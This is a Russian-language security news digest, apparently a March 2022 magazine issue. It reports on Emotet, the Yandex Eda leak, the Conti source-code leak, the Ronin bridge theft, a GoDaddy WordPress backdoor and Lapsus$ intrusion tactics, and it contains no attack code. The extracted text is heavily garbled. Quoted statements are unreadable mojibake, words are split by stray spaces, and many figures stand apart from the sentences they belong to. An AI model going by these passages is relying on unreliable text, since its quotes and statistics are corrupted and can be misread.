«Íàøà ïðè îðè òåò íàÿ çàäà÷à — ïðå äîñ òàâëÿòü âñå íåîá õîäèìûå âîç- 

ìîæíîñ òè ïîëü çîâàòå ëÿì ìîáèëü íûõ óñòðîé ñòâ. Ñåð âèñ Game

Optimizing Service (GOS) áûë ðàç ðàáîòàí, ÷òî áû ýôôåêòèâ íî óïðàâëÿòü

òåì ïåðàòó ðîé óñòðîé ñòâà è èçáå ãàòü ïåðåã ðåâà, ñîõ ðàíÿÿ ìàê ñèìàëü- 

íóþ ïðî èçâî äèòåëü íîñòü èãð. GOS íå âëè ÿåò íà ðàáîòó íåèã ðîâûõ ïðè- 

ëîæå íèé.

Íàì âàæ íû îòçû âû, êîòîðûå ïîëü çîâàòå ëè îñòàâëÿ þò î íàøèõ ïðî- 

äóê òàõ, è â áëè æàé øåå âðå ìÿ, ïîñ ëå òîãî êàê ìû èçó ÷èì ïîëó÷åí íóþ

îáðàòíóþ ñâÿçü, ìû âûïóñ òèì îáíîâëå íèå ÏÎ. Îíî ïîç âîëèò

óïðàâëÿòü ïðî èçâî äèòåëü íîñòüþ ïðè çàïóñ êå èãðî âûõ ïðè ëîæå íèé».

 УСТРОЙСТВ СНОВА ЗАРАЗИЛ EMOTET130 000

Бот нет Emotet, возоб новив ший активность в кон це 2021 года, про дол жает мед ленно раз вивать- 
ся. По дан ным иссле дова телей, к нас тояще му вре мени он заразил более  устрой ств
в  стра нах мира.

130 000
179

Как мож но видеть на гра фике, бот нет начал мед ленно вос созда вать себя в нояб ре прош лого
года, а с янва ря 2022 года стал рас ти гораз до быс трее бла года ря фишин говым кам пани ям.

В нас тоящее вре мя сущес тву ет око ло  уни каль ных управля ющих сер веров, под держи- 
вающих воз рожде ние Emotet, и их чис ло неук лонно рас тет. Сред нее вре мя активнос ти одно го
сер вера сос тавля ет .

200

29 дней

УТЕЧКА ДАННЫХ
ЯНДЕКС ЕДЫ
В начале месяца Яндекс пре дуп редил поль зовате лей о том, что у Яндекс Еды
про изош ла утеч ка дан ных, в резуль тате которой в руки треть их лиц попали
телефо ны кли ентов и информа ция об их заказах: сос тав, вре мя дос тавки и так
далее. Сооб щалось, что дан ные утек ли из-за «недоб росовес тных дей ствий»
одно го из сот рудни ков.

В середи не мар та вся эта информа ция ока залась выложе на в откры тый
дос туп.

22 мар та 2022 года ссыл ки на укра ден ную базу были опуб ликова ны сра зу
в нес коль ких Telegram-каналах, а так же в сети появи лась инте рак тивная кар та
с дан ными поль зовате лей (сайт, судя по дан ным WHOIS, был соз дан 14 мар- 
та 2022 года): ФИО, пол ный адрес, email, телефон ный номер, общая сум ма
заказов за пос ледние пол года. Слив не кос нулся бан ков ских, пла теж ных
и регис тра цион ных дан ных поль зовате лей, то есть логинов и паролей.

Мно гие чле ны редак ции ][ наш ли в базе свои дан ные, а так же дан ные сво- 
их дру зей и зна комых. То есть, к сожале нию, под линность дам па не вызыва ет
сом нений.

Вско ре пос ле пуб ликации сли ва пред ста вите ли Рос комнад зора сооб- 
щили, что сос тавили адми нис тра тив ный про токол из-за утеч ки пер сональ ных
дан ных кли ентов Яндекс Еды, а так же внес ли ресурс с инте рак тивной кар той
и укра ден ным дам пом в спи сок зап рещен ных. Про токол сос тавлен по ч. 1 ст.
13.11 КоАП РФ и пред полага ет наказа ние в виде штра фа в раз мере
от 60 000 до 100 000 руб лей.

Пред ста вите ли Яндекса изви нились за слу чив шееся и пообе щали умень- 
шить количес тво сот рудни ков, у которых есть дос туп к при ват ным дан ным,
а саму информа цию перенес ти в более защищен ное хра нили ще.

Пра воза щит ники заяви ли, что уже готовят кол лектив ные иски про тив
Яндекса. Так, пред ста вите ли  и про екта « »
про сят всех пос тра дав ших свя зывать ся с ними и при соеди нять ся к искам.

Рос ком сво боды Се тевые сво боды

ЗЛОУПОТРЕБЛЕНИЯ API
Ана лити ки Salt Security пре дуп редили о рез ком рос те атак на API за про шед ший год. При этом
в отче те ком пании под черки вает ся, что боль шинс тво ком паний по-преж нему не исполь зуют
сколь-нибудь адек ватных методов защиты от этой проб лемы.

В целом тра фик API-атак вырос на рекор дные  в 2021 году, тог да как общий тра фик API
уве личил ся на . Ста тис тика лишь показы вает, что ата ки рас тут неп ропор циональ но
с внед рени ем API-решений в отраслях.

681%
321%

API-ата ки при меня ются зло умыш ленни ками в самых раз ных сце нари ях, в том чис ле для 
, , , атак типа , рас простра нения 

 и так далее.

уте чек
дан ных DDoS-атак SQL-инъ екций man in the middle вре-
донос ного ПО

При этом у  ком паний вооб ще отсутс тву ет какая-либо стра тегия безопас ности API, пос- 
коль ку они все цело полага ются исклю читель но на пос тавщи ков API-решений.

34%

Из-за раз ных проб лем с безопас ностью API более  рес понден тов, учас тво вав ших в опро се
Salt Security, вооб ще отло жили раз верты вание при ложе ний.

62%

 рес понден тов не уве рены, что их дан ные и докумен тация отра жают все сущес тву ющие
фун кции API. Еще  сооб щили об уста рев ших фун кци ях API, которые боль ше не при меня- 
ются в их при ложе ниях, одна ко по-преж нему дос тупны зло умыш ленни кам для воз можных зло- 
упот ребле ний.

83%
43%

ХАКЕРЫ ПРОТИВ
ХАКЕРОВ
ИБ-спе циалис ты обна ружи ли новое доказа тель ство того, что хакеры зачас- 
тую ата куют даже собс твен ных «кол лег по цеху». Мал варь, которую рас- 
простра няли на хак-форумах под видом взло ман ных RAT и инс тру мен тов
для соз дания вре донос ных прог рамм, ворова ла дан ные из буфера обме на.

Вре доно сы, вору ющие или под меня ющие дан ные в буфере обме на (час то
их называ ют кли пера ми), обыч но исполь зуют ся с целью обна руже ния адре- 
сов крип товалют ных кошель ков в буфере, что бы потом под менить их на адре- 
са, при над лежащие опе рато ру мал вари. Такая так тика поз воля ет зло умыш- 
ленни кам на лету перех ватывать финан совые тран закции и отправ лять день ги
на свои сче та.

Пер вую мал варь на андегра ундных ресур сах (нап ример, Russia black hat)
замети ли иссле дова тели из ком пании ASEC. Зло умыш ленни ки замани вали
начина ющих хакеров фей ковыми взло ман ными вер сиями тро янов уда лен ного
дос тупа BitRAT и Quasar RAT, которые обыч но про дают ся по цене
от 20 до 100 дол ларов США.

Ес ли заг рузить любой из пред ложен ных фай лов, сра бота ет перенап равле ние
на стра ницу Anonles, которая пре дос тавля ет RAR-архив, пред положи тель но
явля ющий ся бил дером выб ранной мал вари. На самом деле файл crack.exe,
содер жащий ся в этих архи вах, пред став ляет собой уста нов щик ClipBanker,
который лишь копиру ет вре донос ный бинар ник в пап ку авто заг рузки и запус- 
кает его при пер вой же перезаг рузке.

Вто рое сооб щение о мал вари пос тупило от экспер тов ком пании Cyble,
которые обна ружи ли на хак-форуме пред ложение о бес плат ном месяце
исполь зования AvD Crypto Stealer.

В этом слу чае жер твы тоже яко бы заг ружали бил дер мал вари и запус кали
исполня емый файл Payload.exe, пред полагая, что это пре дос тавит им бес- 
плат ный дос туп к AvD Crypto Stealer. На самом деле это при води ло к зараже- 
нию их сис тем кли пером, который был нацелен на кра жу Ethereum, Binance
Smart Chain, Fantom, Polygon, Avalanche и Arbitrum.

В Cyble обна ружи ли, что на бит коин-адрес, закоди рован ный в этом
образце мал вари, уже пос тупило око ло 1,3 BTC (при мер но 54 тысячи дол- 
ларов США по текуще му кур су) пос редс твом перех вата 422 чужих тран- 
закций.

 ДОЛЛАРОВ ЗА БАГИ В CHROME100 000

Google выпус тила ста биль ную вер сию бра узе ра Chrome 99 для Windows, Mac и Linux, в которой
было исправ лено  уяз вимос тей, из них  была обна руже на сто рон ними ИБ-иссле дова теля- 
ми.

28 21

В общей слож ности ком пания вып латила спе циалис там более  дол ларов за уяз вимос ти
из это го «набора». Самых высоких наг рад удос тоились спе циалист, обна ружив ший проб лему
перепол нения буфера хипа в ANGLE (  дол ларов США), и эксперт, нашед ший уяз вимость
use after free в сос таве MediaStream (  дол ларов США).

103 000

10 000
15 000

Продолжение статьи →

https://meeco.kr/mini/34753618
https://t.me/roskomsvoboda/8522
https://t.me/NetFreedomsProject/435
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100 000 КАРТ
РОССИЙСКИХ
БАНКОВ
СМИ сооб щили, что на хакер ских форумах бес плат но пуб лику ются дан ные
более 100 тысяч карт рос сий ских бан ков. Экспер ты счи тают, что прес тупни ки
пытались сроч но «монети зиро вать» имев шиеся в их рас поряже нии базы,
которые теперь потеря ли цен ность.

По дан ным прес сы, в пос ледние недели в дар кне те появ лялось
как минимум одно пред ложение о про даже 100 тысяч записей рос сий ских
бан ков ских карт. Как сооб щает осно ватель сер виса раз ведки уте чек дан ных
и монито рин га дар кне та DLBI Ашот Ога несян:

«
»

«Ïðî äàâàë åãî íà ôîðóìå íåêèé àíãëî ÿçû÷ íûé ïîëü çîâàòåëü, íî îáú- 

ÿâëå íèå áûëî óäà ëåíî, òàê êàê íà ôîðóìå çàï ðåùåíà „ðàáîòà ïî RU“»

При этом управля ющий RTM Group Евге ний Царев сооб щил «Ком мерсан ту»,
что мас совые попыт ки спи сать средс тва со сче тов рос сий ских кли ентов наб- 
люда ются с 26 фев раля, а сами мас совые утеч ки «про изош ли гораз до рань- 
ше». По его сло вам, в пос леднюю неделю зло умыш ленни ки пыта ются совер- 
шать перево ды даже с заб локиро ван ных карт, а так же с карт с истекшим сро- 
ком дей ствия:

«

»

«Âîç íèêà åò îùó ùåíèå, ÷òî ïðåñ òóïíè êè ðåç êî àêòè âèçè ðîâà ëèñü, êàê è

ðÿäîâûå ãðàæ äàíå, ñðî÷ íî ïûòà ÿñü ìîíåòè çèðî âàòü áàçû, êîòîðûå

ïîÿâè ëèñü ó íèõ ãîðàç äî ðàíü øå»

По мне нию Царева, в пос ледние дни дей стви тель но появи лось мно го объ- 
явле ний о про даже дан ных карт, так как теперь от этих дам пов нет поч ти
никакой поль зы. С этим мне нием сог ласен и Ога несян: как он полага ет, ажи-
отаж свя зан с тем, что запад ные кар деры «сбра сыва ют запасы укра ден ных
рос сий ских карт», пос коль ку их уже невоз можно исполь зовать за рубежом.

Так же ана лити ки отме чают рост количес тва пред ложений и по про даже
дан ных ском про мети рован ных зарубеж ных карт. К при меру, толь ко за один
день (7 мар та 2022 года) появи лось боль ше сот ни новых пло щадок по их про- 
даже.

СБЕР НЕ СОВЕТУЕТ ОБНОВЛЯТЬСЯ
В пресс-служ бе Сбер банка заяви ли, что в пос леднее вре мя учас тились слу чаи «внед рения
в сво бод но рас простра няемое ПО про вока цион ного меди акон тента», и совер шенно серь езно
посове това ли поль зовате лям вре мен но не обновлять свои при ложе ния.

ИБ-экспер ты отме чают, что пол ный отказ от обновле ний — это не слиш ком хорошая идея,
ведь таким обра зом мож но остать ся без пат чей для серь езных уяз вимос тей, которые хакеры
могут исполь зовать для атак.

→ «Раз личный кон тент и вре донос ный код могут быть встро ены в сво бод но рас- 
простра няемые биб лиоте ки, исполь зуемые для раз работ ки прог рам мно го обес- 
печения. Исполь зование подоб ного прог рам мно го обес печения может при вес ти
к зараже нию вре донос ным ПО лич ных и кор поратив ных компь юте ров, а так же
ИТ-инфраструк туры.При острой необ ходимос ти исполь зования прог рам мно го
обес печения обя затель но про веряй те все ска чан ные фай лы анти виру сом, а при
исполь зовании чужого исходно го кода в сво их прог раммах — про веди те руч ную
или авто мати зиро ван ную про вер ку, в том чис ле прос мотри те текст исходно го
кода»,

— совету ют спе циалис ты Сбер банка.

ИСХОДНИКИ
МАЛВАРИ CONTI
Но вая утеч ка дан ных, каса ющаяся хак-груп пы Conti, была опуб ликова на
в Twitter. Неиз вес тный, ском про мети ровав ший сер веры хакеров в прош лом
месяце, опуб ликовал новую пар тию исходных кодов груп пиров ки.

На пом ню, что эта исто рия началась еще в фев рале 2022 года, ког да ано- 
ним ный ИБ-иссле дова тель, имев ший дос туп к инфраструк туре хакеров (по
дру гим дан ным, это был укра инский учас тник самой хак-груп пы), решил отом- 
стить Conti. Дело в том, что груп пиров ка объ яви ла, что в све те «спе циаль ной
воен ной опе рации» в Укра ине пол ностью под держи вает дей ствия рос сий ско- 
го пра витель ства.

В ито ге сна чала в откры тый дос туп были выложе ны все внут ренние чаты
хакеров за пос ледний год (339 фай лов JSON, каж дый из которых — это лог
за отдель но взя тый день), а затем была опуб ликова на еще одна пор ция логов
(148 фай лов JSON, содер жащих 107 тысяч внут ренних сооб щений груп пиров- 
ки) и дру гие дан ные, свя зан ные с Conti, в том чис ле исходный код панелей
управле ния, API BazarBackdoor, ста рый исходный код шиф роваль щика, скрин- 
шоты сер веров и мно гое дру гое.

Вско ре этот же человек (@ContiLeaks в Twitter) заг рузил архив с исходным
кодом мал вари Conti вер сии 3 на VirusTotal. Этот исходный код гораз до новее,
чем опуб ликован ная ранее вер сия: дата пос ледне го изме нения — 25 янва- 
ря 2021 года. Как и в пре дыду щий раз, утеч ка пред став лена в фор мате Visual
Studio и поз воля ет любому жела юще му ском пилиро вать работа ющий вымога- 
тель и дешиф ратор для него.

Жур налис ты изда ния Bleeping Computer сооб щали, что им уда лось
без тру да ском пилиро вать исходни ки, получив исполня емые фай лы 

,  и .

cryptor.
exe cryptor_dll.dll decryptor.exe

Эк спер ты пре дуп редили, что пуб ликация исходных кодов шиф роваль щика
(осо бен но такого слож ного, как Conti) может иметь катас тро фичес кие пос- 
ледс твия как для ком паний, так и для пот ребите лей. Дело в том, что дру гие
хакеры могут исполь зовать эти исходни ки для соз дания собс твен ных вымога- 
телей и сво их опе раций.

За при мера ми не нуж но ходить далеко: в прош лом на базе опен сор сно го
шиф роваль щика Hidden Tear, исходный код которо го был сво бод но дос тупен
на GitHub, были соз даны десят ки дру гих вре доно сов. Ана логич ная ситу ация
наб людалась и пос ле утеч ки в откры тый дос туп исходно го кода вымога теля
Babuk — его быс тро адап тирова ли для сво их нужд дру гие прес тупни ки. Увы,
мож но ожи дать, что Conti не ста нет исклю чени ем.

ТРАФИК СОЦИАЛЬНЫХ СЕТЕЙ ИЗМЕНИЛСЯ
Пос ле бло киров ки Facebook*, Instagram* и Twitter в рунете, а так же пос ле вво да огра ниче ний
на заг рузку новых видео со сто роны TikTok рос сий ский тра фик «ушел» в дру гие мес та, под счи- 
тали ана лити ки Mediascope.

Ес ли 13–14 мар та в Instagram* нас читыва лось око ло  рос сий ских поль зовате лей,
то уже 15 мар та их ста ло на  мень ше (  поль зовате лей).

40 900 000
6 700 000 34 200 000

Facebook* потеря ла более  поль зовате лей (око ло ):  в кон це фев- 
раля прев ратились в  пос ле 14 мар та.(* Заб локиро ван в Рос сии, при над лежит ком- 
пании Meta, приз нанной экс тре мист ской орга низа цией, зап рещен ной на тер ритории РФ)

3 000 000 40% 9 600 000
6 400 000

Рос сий ская ауди тория Twitter сок ратилась поч ти впо лови ну с  человек
до .

2  600  000
1 300 000

За то при рос том тра фика теперь могут пох вастать ся «Одноклас сни ки»:  новых поль- 
зовате лей. А боль ше все го от про изо шед шего выиг рали VK и Telegram, к которым приш ли

 и  новых поль зовате лей соот ветс твен но.

1 000 000

3 800 000 14 300 000

С этой оцен кой сог ласен и «МегаФон», по дан ным которо го, в этом месяце Telegram впер вые
стал самым популяр ным мес сен дже ром в Рос сии, обой дя даже WhatsApp.

Со обща ется, что за пер вые две недели мар та доля Telegram в общем объ еме тра фика в мес- 
сен дже рах уве личи лась с  по срав нению с ана логич ным пери одом фев раля.48 до 63%

ВЗЛОМ NFT-ИГРЫ
AXIE INFINITY
Но вый рекорд в области крип товалют ных ограбле ний уста нови ли неиз вес- 
тные хакеры, похитив шие у NFT-игры Axie Innity более 600 мил лионов дол- 
ларов (173 600 ETH). В ком пании уве ряют, что ата ка ста ла резуль татом соци- 
аль ной инже нерии, а не какой-то уяз вимос ти.

Axie Innity — это децен тра лизо ван ная игра, соз данная вьет нам ской сту- 
дией Sky Mavis. Игра поз воля ет поль зовате лям раз водить, про давать и кол- 
лекци они ровать циф ровых питом цев, а обо рот ее тор говых опе раций пре- 
выша ет мил лиард дол ларов в год. Ранее Axie Innity уже ста ла нас тоящим
феноме ном на Филип пинах, где тысячи поль зовате лей зараба тыва ют с ее
помощью неп лохие день ги.

Еще в фев рале 2021 года в работу был запущен блок чейн Ronin, приз- 
ванный сде лать вза имо дей ствие с Axie Innity, базиру ющей ся на Ethereum,
менее зат ратным. Тог да как любые дей ствия в Ethereum тре буют немалых
комис сий, Ronin поз воля ет совер шать 100 бес плат ных тран закций в день
для каж дого поль зовате ля.

В кон це мар та в бло ге Ronin появи лось сооб щение, что про ект стал жер- 
твой кибера таки, в резуль тате которой неиз вес тные с помощью все го двух
тран закций похити ли око ло 600 мил лионов дол ларов США: 173 600 ETH (на
сум му око ло 591 242 019 дол ларов) и стей блко ин USDC (на сум му 25,5 мил- 
лиона дол ларов).

Раз работ чики приз нались, что ата ка про изош ла еще 23 мар та 2022 года,
но ее обна ружи ли поз же, ког да поль зовате ли замети ли, что не могут вывес ти
средс тва. Ата ка вклю чала ком про мета цию узлов валида тора Sky Mavis Ronin
и узлов валида тора Axie DAO, пос ле чего зло умыш ленник смог исполь зовать
мост Ronin в сво их целях.

Де ло в том, что сай ндчейн Ronin име ет в общей слож ности девять раз- 
личных узлов валида ции, пять из которых необ ходимо задей ство вать
для любого вво да или вывода средств. В ходе ата ки были ском про мети рова- 
ны четыре валида тора Sky Mavis и один валида тор Axie DAO.

«

»

«Çëî óìûø ëåííèê èñïîëü çîâàë õàê íóòûå ïðè âàò íûå êëþ ÷è äëÿ ïîä- 

äåëêè âûâîäà ñðåäñòâ. Ìû îáíà ðóæè ëè àòà êó òîëü êî ñåãîä íÿ óòðîì

ïîñ ëå òîãî, êàê ïîëü çîâàòåëü ñîîá ùèë, ÷òî íå ìîæåò âûâåñ òè 5000

ETH», — ïîÿñ íèëè â êîì ïàíèè.

Со обща лось, что хакер обна ружил бэк дор в gas-free-узле RPC, управля емом
Sky Mavis, что поз волило ему получить кон троль над узлом Axie DAO. Дело
в том, что еще в нояб ре 2021 года раз работ чики Axie DAO поз волили Sky
Mavis под писывать раз личные тран закции от сво его име ни, что бы быс трее
обра баты вать стре митель но рас тущее количес тво тран закций. Эту прак тику
прек ратили уже в декаб ре, но «дос туп к белому спис ку не был отоз ван».

В нас тоящее вре мя Sky Mavies вре мен но отклю чила крос счейн-мост
Ronin, а так же свя зан ную с ним децен тра лизо ван ную бир жу Katana DEX. Раз- 
работ чики уве ряют, что поль зовате лям не о чем вол новать ся, так как RON
и внут рииг ровые токены SLP и AXS в сай дчей не Ronin в безопас ности.

Рас сле дова нием слу чив шегося уже занима ются пра воох ранитель ные
орга ны, а так же экспер ты Chainalysis и Crowdstrike. В ком пании говорят, что
похищен ные средс тва пока «еще находят ся в кошель ке хакера», хотя поль- 
зовате ли уже замети ли, что зло умыш ленник вывел часть средств на бир жу
Binance.

 ДОЛЛАРОВ ПОЛУЧАЮТ ЧЛЕНЫ CONTI1800

Ана лити ки Secureworks деталь но изу чили деятель ность нашумев шей вымога тель ской груп пы
Conti, пос ле того как 160 тысяч сооб щений из зак рытых чатов хакеров ста ли дос тоянием
общес твен ности в прош лом месяце.

В сред нем раз мер выкупа, зап рашива емый Conti, сос тавля ет  дол ларов, хотя конеч ная
сум ма зависит от раз мера и годово го обо рота ком пании-жер твы, а выкупы могут дос тигать
мил лионов дол ларов. При этом, судя по логам, получен ные день ги Conti делит меж ду

, а сред няя «зар пла та» учас тни ка груп пы сос тавля ет лишь  дол ларов
в месяц.

750 000

81  челове ком 1800

БЭКДОР НА
GODADDY
Мно жес тво сай тов на WordPress, исполь зующих хос тинг GoDaddy Managed
WordPress, ока зались зараже ны оди нако вым бэк дором. Проб лема зат ронула
круп ных ресел леров, вклю чая MediaTemple, tsoHost, 123Reg, Domain Factory,
Heart Internet, а так же Host Europe Managed WordPress.

Проб лему еще 11 мар та замети ли ана лити ки Wordfence, которые писали,
что все го за сут ки бэк дором было зараже но 298 сай тов, 281 из которых был
раз мещен у GoDaddy.

Сам бэк дор пред став ляет собой ста рый инс тру мент для отравле ния SEO
(SEO poisoning) в Google, датиро ван ный 2015 годом. Он имплан тиру ется
в wp-cong.php, извле кает шаб лоны спам-ссы лок с управля юще го сер вера,
а затем исполь зует их для внед рения вре донос ных стра ниц в резуль таты
поис ка.

Пре иму щес твен но такие шаб лоны свя заны с фар мацев тичес ким спа мом,
и они показы вают ся посети телям взло ман ных сай тов вмес то фак тичес кого
кон тента. Похоже, таким обра зом зло умыш ленни ки хотят вынудить жертв
покупать под дель ные про дук ты, теряя при этом день ги и сли вая свои пла теж- 
ные рек визиты хакерам.

Век тор этой мас совой ата ки пока не опре делен, одна ко про исхо дящее
очень похоже на ата ку на цепоч ку пос тавок. Сто ит вспом нить, что в декаб- 
ре 2021 года GoDaddy пос тра дал от утеч ки дан ных, которая зат рагива- 
ла 1,2 мил лиона кли ентов ком пании, исполь зующих WordPress. В их чис ле
были и ресел леры Managed WordPress хос тинга. Мож но пред положить, что
эти инци ден ты свя заны и теперь мы наб люда ем пос ледс твия прош логод ней
утеч ки.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
MetaMask и OpenSea бло киру ют поль зовате лей из некото рых стран, вклю чая Иран и Венесу элу

Ад минис тра ция сай та Pikabu под твер дила утеч ку поль зователь ских дан ных

Гла ва ком пании ChronoPay Павел Вруб лев ский задер жан в Мос кве

Круп ный про изво дитель авто зап частей Denso пос тра дал от ата ки шиф роваль щика Pandora

VPN-про вай дер TorGuard зап ретил тор ренты пос ле судеб ного иска от кинос тудий

Ата ка «бра узер в бра узе ре» поз воля ет под делывать окна в Chrome

Вслед за зак рыти ем YouTube Vanced был заморо жен акка унт LibreTube на GitHub

Об наружен новый Unix-рут кит для бан коматов

Google рас ска зала о груп пе Exotic Lily, которая про дает дос тупы вымога телям

Баг в авто моби лях Honda поз воля ет уда лен но завес ти и открыть машину

https://xakep.ru/2022/03/04/metamask-opensea-sanctions/
https://xakep.ru/2022/03/05/pikabu-leak/
https://xakep.ru/2022/03/10/vrublevsky-arrested-again/
https://xakep.ru/2022/03/15/denso-hack/
https://xakep.ru/2022/03/15/torguard-torrent/
https://xakep.ru/2022/03/21/browser-in-browser/
https://xakep.ru/2022/03/16/vanced-and-libretube/
https://xakep.ru/2022/03/18/lightbasin-caketap/
https://xakep.ru/2022/03/18/exotic-lily/
https://xakep.ru/2022/03/28/honda-bugs/
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ВЗЛОМ

В пос леднее вре мя хакер ская груп па Lapsus$ не схо дит
с пер вых полос ИТ-изда ний по все му миру. Эти пар ни шан- 
тажиро вали Nvidia, сли ли исходные коды Ubisoft, Microsoft
и Samsung, ском про мети рова ли Okta. Как теперь сооб щают
СМИ и экспер ты, лидером этой хак-груп пы может быть 17-
лет ний под росток из Великоб ритании, к тому же недав но
арес тован ный влас тями.

ÂÇËÎÌÛ È ÂÛÌÎÃÀÒÅËÜÑÒÂÎ

Впер вые груп па Lapsus$ заяви ла о себе нес коль ко месяцев назад, в декаб- 
ре 2021 года, ког да пос ле взло ма зат ребова ла выкуп у Минис терс тва здра- 
воох ранения Бра зилии. Одна ко на пер вые полосы СМИ хакеры начали
попадать поз же, уже пос ле ком про мета ции стол пов ИТ-индус трии.

Как отме чали экспер ты ком пании Flashpoint, Lapsus$ отли чает ся от дру гих
вымога тель ских груп пировок тем, что не шиф рует фай лы сво их жертв, а про- 
ника ет в сеть ком пании, получа ет дос туп к важ ным фай лам, похища ет их,
а затем угро жает слить дан ные, если ей не зап латят выкуп.

Так же сле дует добавить, что Lapsus$ не име ет собс твен ного «сай та
для уте чек», где пуб лику ет или про дает дан ные сво их жертв. Все сли вы
и обще ние «с пуб ликой» про исхо дят в Telegram-канале хакеров, который нас- 
читыва ет более 52 тысяч под писчи ков, или по поч те, а похищен ные дан ные
и вов се рас простра няют ся через тор ренты.

В общей слож ности жер тва ми Lapsus$ ста ли уже 19 ком паний и орга низа- 
ций, при этом 15 из них находят ся в стра нах Латин ской Аме рики и в Пор- 
тугалии. Вспом ним самые гром кие взло мы, которые в пос ледние два месяца
при нес ли груп пиров ке извес тность:
• : Lapsus$ похити ли у про изво дите ля железа учет ные дан- 

ные 71 тысячи сот рудни ков, исходные коды и дру гую внут реннюю
информа цию, вклю чая сер тифика ты для под писи кода. Хакеры тре бова ли,
что бы ком пания откры ла исходни ки всех сво их GPU-драй веров и отклю- 
чила на виде окар тах механизм LHR (Lite Hash Rate), при помощи которо го
про изво дитель огра ничи вает май нин говый потен циал сво его железа.

Nvidia

• : груп па укра ла кон фиден циаль ные дан ные, в том чис ле

исходный код, свя зан ный с работой смар тфо нов Galaxy, в ито ге опуб- 
ликовав при мер но 190 Гбайт дан ных.

Samsung

• : хакеры обна родо вали часть исходных кодов Bing, Cortana

и дру гих про дук тов Microsoft, яко бы похищен ных с внут ренне го сер вера
Microsoft Azure DevOps. В Microsoft сооб щили, что в ком пании «не счи тают
сек ретность кода мерой безопас ности», и завери ли, что утеч ка исходни- 
ков не вле чет за собой повыше ние рис ков.

Microsoft

• : по офи циаль ным дан ным, взлом это го пос тавщи ка сис тем управле- 

ния дос тупом и иден тифика цией зат ронул при мер но 2,5% кли ентов Okta.
Lapsus$ име ли дос туп к сер верным адми нис тра тив ным кон солям Okta
и дан ным кли ентов, судя по все му ском про мети ровав машину одно го
из сот рудни ков под дер жки с высоким дос тупом.

Okta

Сре ди дру гих пос тра дав ших от рук груп пиров ки были пор тугаль ское под- 
разде ление Vodafone, аргентин ский гигант e-commerce Mercado Libre, упо- 
мяну тое выше Минис терс тво здра воох ранения Бра зилии.

ÒÀÊÒÈÊÈ È ÌÅÒÎÄÛ

Хо тя даже пос ле офи циаль ного приз нания фак та взло ма пред ста вите ли
Microsoft не сооб щили, как имен но была ском про мети рова на учет ная запись
сот рудни ка ком пании, пос ле ата ки был опуб ликован деталь ный обзор так тик
и методов, исполь зуемых Lapsus$ (в ком пании груп пиров ку отсле жива ют
под кодовым име нем DEV-0537).

По информа ции ана лити ков, в основном хакеры сос редото чены
на получе нии ском про мети рован ных учет ных дан ных для пер воначаль ного
дос тупа к кор поратив ным сетям. Логины и пароли они добыва ют с исполь- 
зовани ем соци аль ной инже нерии и сле дующих методов:
• раз верты вание мал вари Redline, вору ющей учет ные дан ные и токены

сеан сов;
• по куп ка учет ных дан ных и токенов на под поль ных форумах;
• взят ки сот рудни кам целевых орга низа ций (а так же пос тавщи кам

и деловым пар тне рам) за дос туп к учет ным дан ным и мно гофак торной
аутен тифика ции;

• по иск учет ных дан ных в обще дос тупных репози тори ях.

Сти лер Redline дав но популя рен сре ди хакеров и  основным пос- 
тавщи ком учет ных дан ных для нес коль ких круп ных под поль ных мар кет плей сов
в дар кне те. Обыч но он рас простра няет ся через фишин говые пись ма, ата ки
типа watering hole, сай ты с варезом и видео на YouTube.

счи тает ся

Со обще ние в Telegram-канале о «поис ке сот рудни ков»

В Microsoft счи тают, что пос ле того, как Lapsus$ получа ет дос туп к чужим учет- 
ным дан ным, хакеры исполь зуют их для про ник новения в обще дос тупные
устрой ства и сис темы ком паний, вклю чая VPN, инфраструк туру вир туаль ных
рабочих сто лов и служ бы управле ния иден тифика цией. Для учет ных записей,
исполь зующих мно гофак торную аутен тифика цию, груп пиров ка при меня ет
ата ки типа session replay или бук валь но завали вает жер тву уве дом лени ями
МФА, пока поль зователь не уста нет от них и не раз решит вход в сис тему.

«

»

«Ðàíåå DEV-0537 îáú ÿâëÿ ëè, ÷òî ãîòîâû êóïèòü ó÷åò íûå äàí íûå

äëÿ ñâî èõ öåëåé, ÷òî áû ïîáóäèòü ñîò ðóäíè êîâ èëè ïîä ðÿä÷è êîâ êîì- 

ïàíèé ïðè íèìàòü ó÷àñ òèå â èõ îïå ðàöè ÿõ. Çà îïðå äåëåí íóþ ïëà òó

ñîîá ùíèê äîë æåí áûë ïðå äîñ òàâèòü èì ñâîè ó÷åò íûå äàí íûå è ïîä- 

òâåð äèòü çàï ðîñ ÌÔÀ èëè óñòà íîâèòü AnyDesk (èëè èíîå ÏÎ äëÿ óäà- 

ëåí íîãî óïðàâëå íèÿ) íà êîð ïîðàòèâ íóþ ðàáî÷óþ ñòàí öèþ, ïîç âîëÿÿ

àòà êóþùèì ïîëó÷èòü êîí òðîëü íàä àóòåí òèôèöè ðîâàí íîé ñèñ òåìîé.

Â íåêîòî ðûõ ñëó ÷àÿõ õàêåðû ñíà ÷àëà êîì ïðî ìåòè ðîâà ëè ëè÷ íûå (íå

ñâÿ çàí íûå ñ ðàáîòîé) àêêà óíòû ÷åëîâå êà, à ïîñ ëå èñêà ëè äîïîë- 

íèòåëü íûå ó÷åò íûå äàí íûå, êîòîðûå ìîæ íî áûëî áû èñïîëü çîâàòü

äëÿ ïîëó÷å íèÿ äîñ òóïà ê êîð ïîðàòèâ íûì ñèñ òåìàì», — ïèøåò

Microsoft.

По лучив дос туп к сети, зло умыш ленни ки при меня ют AD Explorer для поис ка
учет ных записей с более высоки ми при виле гиями, а затем ата куют плат- 
формы для раз работ ки и сов мес тной работы, такие как SharePoint,
Conuence, JIRA, Slack и Microsoft Teams, так же похищая учет ные дан ные. Эти
логины и пароли в ито ге при меня ются для получе ния дос тупа к репози тори ям
GitLab, GitHub и Azure DevOps (что и про изош ло во вре мя ата ки на Microsoft).

За тем зло умыш ленни ки собира ют цен ную информа цию и похища ют ее
пос редс твом NordVPN (что бы скрыть свое мес тополо жение), одновре мен но
с этим выпол няя раз рушитель ные ата ки на инфраструк туру жер твы и тем
самым ини циируя про цеду ры реаги рова ния на инци ден ты.

«

»

«Èçâåñ òíî, ÷òî DEV-0537 èñïîëü çóåò óÿç âèìîñ òè â Confluence, JIRA

è GitLab äëÿ ïîâûøå íèÿ ïðè âèëå ãèé», — äîáàâ ëÿëè ñïå öèàëèñ òû

Microsoft.

ÄÎ LAPSUS$

На прош лой неделе извес тный жур налист-рас сле дова тель Брай ан Кребс
